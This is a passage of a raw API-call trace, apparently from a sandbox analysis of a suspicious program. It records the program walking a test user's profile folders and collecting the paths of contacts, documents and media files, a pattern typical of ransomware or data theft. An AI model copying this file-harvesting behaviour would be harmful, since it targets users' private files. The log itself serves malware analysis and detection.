returned="c:\\Users\\aETAdzjz\\*" [0123.921] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.921] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.921] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.922] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.922] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.922] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.922] lstrlenW (lpString="AppData") returned 7 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="AppData" | out: lpString1="c:\\Users\\aETAdzjz\\AppData") returned="c:\\Users\\aETAdzjz\\AppData" [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\") returned="c:\\Users\\aETAdzjz\\AppData\\" [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\*") returned="c:\\Users\\aETAdzjz\\AppData\\*" [0123.922] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\AppData\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.922] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.922] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.922] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.922] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.922] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0123.922] lstrlenW (lpString="Local") returned 5 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="Local" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\Local") returned="c:\\Users\\aETAdzjz\\AppData\\Local" [0123.922] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.922] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0123.922] lstrlenW (lpString="LocalLow") returned 8 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="LocalLow" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\LocalLow") returned="c:\\Users\\aETAdzjz\\AppData\\LocalLow" [0123.922] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.922] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0123.922] lstrlenW (lpString="Roaming") returned 7 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="Roaming" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\Roaming") returned="c:\\Users\\aETAdzjz\\AppData\\Roaming" [0123.922] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.922] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.922] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.922] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0123.922] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.922] lstrlenW (lpString="Application Data") returned 16 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Application Data" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data") returned="c:\\Users\\aETAdzjz\\Application Data" [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Application Data", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data\\") returned="c:\\Users\\aETAdzjz\\Application Data\\" [0123.922] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Application Data\\") returned 35 [0123.922] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Application Data\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data\\*") returned="c:\\Users\\aETAdzjz\\Application Data\\*" [0123.922] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Application Data\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.922] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.923] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0123.923] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.923] lstrlenW (lpString="Contacts") returned 8 [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Contacts" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts") returned="c:\\Users\\aETAdzjz\\Contacts" [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\") returned="c:\\Users\\aETAdzjz\\Contacts\\" [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\*") returned="c:\\Users\\aETAdzjz\\Contacts\\*" [0123.923] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Contacts\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.923] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.923] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.923] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.923] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2=".") returned 1 [0123.923] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2="..") returned 1 [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.923] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23 [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="Aclviho ASldjfl.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned 50 [0123.923] lstrcpyW (in: lpString1=0x24b4cd0, lpString2="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" [0123.923] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.923] lstrcmpW (lpString1="Administrator.contact", lpString2=".") returned 1 [0123.923] lstrcmpW (lpString1="Administrator.contact", lpString2="..") returned 1 [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.923] lstrlenW (lpString="Administrator.contact") returned 21 [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="Administrator.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned 48 [0123.923] lstrcpyW (in: lpString1=0x24b4d40, lpString2="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" [0123.923] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.923] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2=".") returned 1 [0123.923] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2="..") returned 1 [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.923] lstrlenW (lpString="asdlfk poopvy.contact") returned 21 [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="asdlfk poopvy.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned 48 [0123.923] lstrcpyW (in: lpString1=0x24b4db0, lpString2="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" [0123.923] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.923] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2=".") returned 1 [0123.923] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2="..") returned 1 [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.923] lstrlenW (lpString="chucu jadnvk.contact") returned 20 [0123.923] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="chucu jadnvk.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" [0123.923] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned 47 [0123.923] lstrcpyW (in: lpString1=0x24ba9d8, lpString2="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" [0123.923] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.924] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.924] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.924] lstrlenW (lpString="desktop.ini") returned 11 [0123.924] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned 38 [0123.924] lstrcpyW (in: lpString1=0x24baa40, lpString2="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" [0123.924] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.924] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2=".") returned 1 [0123.924] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2="..") returned 1 [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.924] lstrlenW (lpString="lulcit amkdfe.contact") returned 21 [0123.924] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="lulcit amkdfe.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned 48 [0123.924] lstrcpyW (in: lpString1=0x24b4e20, lpString2="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" [0123.924] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.924] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2=".") returned 1 [0123.924] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2="..") returned 1 [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0123.924] lstrlenW (lpString="sikvnb huvuib.contact") returned 21 [0123.924] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="sikvnb huvuib.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned 48 [0123.924] lstrcpyW (in: lpString1=0x24b4e90, lpString2="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" [0123.924] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.924] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.924] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.924] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0123.924] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0123.924] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.924] lstrlenW (lpString="Cookies") returned 7 [0123.924] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Cookies" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies") returned="c:\\Users\\aETAdzjz\\Cookies" [0123.924] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Cookies", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies\\") returned="c:\\Users\\aETAdzjz\\Cookies\\" [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Cookies\\") returned 26 [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Cookies\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies\\*") returned="c:\\Users\\aETAdzjz\\Cookies\\*" [0123.925] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Cookies\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.925] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.925] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0123.925] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.925] lstrlenW (lpString="Desktop") returned 7 [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Desktop" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop") returned="c:\\Users\\aETAdzjz\\Desktop" [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\") returned="c:\\Users\\aETAdzjz\\Desktop\\" [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\*") returned="c:\\Users\\aETAdzjz\\Desktop\\*" [0123.925] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Desktop\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.925] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.925] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.925] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.925] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.925] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.925] lstrcmpW (lpString1="0B2i4zUHRYI3kPPp6Y.avi", lpString2=".") returned 1 [0123.925] lstrcmpW (lpString1="0B2i4zUHRYI3kPPp6Y.avi", lpString2="..") returned 1 [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.925] lstrlenW (lpString="0B2i4zUHRYI3kPPp6Y.avi") returned 22 [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0B2i4zUHRYI3kPPp6Y.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned 48 [0123.925] lstrcpyW (in: lpString1=0x24b4f00, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" [0123.925] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.925] lstrcmpW (lpString1="0dhb1lQ5Yot7UDpqiLV.rtf", lpString2=".") returned 1 [0123.925] lstrcmpW (lpString1="0dhb1lQ5Yot7UDpqiLV.rtf", lpString2="..") returned 1 [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.925] lstrlenW (lpString="0dhb1lQ5Yot7UDpqiLV.rtf") returned 23 [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0dhb1lQ5Yot7UDpqiLV.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned 49 [0123.925] lstrcpyW (in: lpString1=0x24b4f70, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" [0123.925] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.925] lstrcmpW (lpString1="0Mck7qEx.odt", lpString2=".") returned 1 [0123.925] lstrcmpW (lpString1="0Mck7qEx.odt", lpString2="..") returned 1 [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.925] lstrlenW (lpString="0Mck7qEx.odt") returned 12 [0123.925] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0Mck7qEx.odt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned 38 [0123.925] lstrcpyW (in: lpString1=0x24baa98, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" [0123.925] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.925] lstrcmpW (lpString1="1rDOjKAp4RUDMzLTH8Wj.mp3", lpString2=".") returned 1 [0123.925] lstrcmpW (lpString1="1rDOjKAp4RUDMzLTH8Wj.mp3", lpString2="..") returned 1 [0123.925] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.926] lstrlenW (lpString="1rDOjKAp4RUDMzLTH8Wj.mp3") returned 24 [0123.926] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="1rDOjKAp4RUDMzLTH8Wj.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned 50 [0123.926] lstrcpyW (in: lpString1=0x24b4fe0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" [0123.926] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.926] lstrcmpW (lpString1="3YE3z0kK77cT F.wav", lpString2=".") returned 1 [0123.926] lstrcmpW (lpString1="3YE3z0kK77cT F.wav", lpString2="..") returned 1 [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.926] lstrlenW (lpString="3YE3z0kK77cT F.wav") returned 18 [0123.926] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="3YE3z0kK77cT F.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned 44 [0123.926] lstrcpyW (in: lpString1=0x24baaf0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" [0123.926] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.926] lstrcmpW (lpString1="46PXdLLe2Bx.wav", lpString2=".") returned 1 [0123.926] lstrcmpW (lpString1="46PXdLLe2Bx.wav", lpString2="..") returned 1 [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.926] lstrlenW (lpString="46PXdLLe2Bx.wav") returned 15 [0123.926] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="46PXdLLe2Bx.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned 41 [0123.926] lstrcpyW (in: lpString1=0x24bab58, lpString2="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" [0123.926] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.926] lstrcmpW (lpString1="4_0E8edvE.flv", lpString2=".") returned 1 [0123.926] lstrcmpW (lpString1="4_0E8edvE.flv", lpString2="..") returned 1 [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.926] lstrlenW (lpString="4_0E8edvE.flv") returned 13 [0123.926] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="4_0E8edvE.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned 39 [0123.926] lstrcpyW (in: lpString1=0x24babb8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" [0123.926] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.926] lstrcmpW (lpString1="8wGZy1b.png", lpString2=".") returned 1 [0123.926] lstrcmpW (lpString1="8wGZy1b.png", lpString2="..") returned 1 [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.926] lstrlenW (lpString="8wGZy1b.png") returned 11 [0123.926] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="8wGZy1b.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned 37 [0123.926] lstrcpyW (in: lpString1=0x24bac10, lpString2="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" [0123.926] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.926] lstrcmpW (lpString1="B4Z1rPYdjgTF8anQ.avi", lpString2=".") returned 1 [0123.926] lstrcmpW (lpString1="B4Z1rPYdjgTF8anQ.avi", lpString2="..") returned 1 [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.926] lstrlenW (lpString="B4Z1rPYdjgTF8anQ.avi") returned 20 [0123.926] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="B4Z1rPYdjgTF8anQ.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" [0123.926] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned 46 [0123.926] lstrcpyW (in: lpString1=0x24bac68, 